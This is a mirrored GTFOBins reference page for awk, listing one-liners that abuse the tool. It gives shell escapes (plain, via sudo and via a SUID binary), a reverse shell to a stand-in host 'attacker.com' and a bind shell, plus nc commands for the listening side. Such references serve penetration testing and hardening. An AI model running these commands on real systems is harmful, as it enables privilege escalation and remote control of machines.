public-mirrors/GTFOBins.github.io
1
0
Fork 0
mirror of https://github.com/GTFOBins/GTFOBins.github.io synced 2024-12-25 22:40:10 +01:00
Code Issues Projects Releases Wiki Activity
2d3ebbbb05
GTFOBins.github.io/_gtfobins/awk.md
Andrea Cardaci e885d4a6ee Remove the -p option from suid-limited 
It is useless because:
- if Debian-like, it is not supported and does not drop anyway;
- otherwise the `system()`-like function already used a shell that dropped the
  privileges.
2018-05-25 00:57:42 +02:00

1013 B
Raw Blame History

functions
exec-interactive sudo-enabled suid-limited reverse-shell-non-interactive bind-shell-non-interactive
code
awk 'BEGIN {system("/bin/sh")}'
code
sudo awk 'BEGIN {system("/bin/sh")}'
code
./awk 'BEGIN {system("/bin/sh")}'
description code
Run `nc -l -p 12345` on the attacker box to receive the shell. RHOST=attacker.com RPORT=12345 awk -v RHOST=$RHOST -v RPORT=$RPORT 'BEGIN { s = "/inet/tcp/0/" RHOST "/" RPORT; while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break; while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'
description code
Run `nc target.com 12345` on the attacker box to connect to the shell. LPORT=12345 awk -v LPORT=$LPORT 'BEGIN { s = "/inet/tcp/" LPORT "/0/0"; while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break; while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'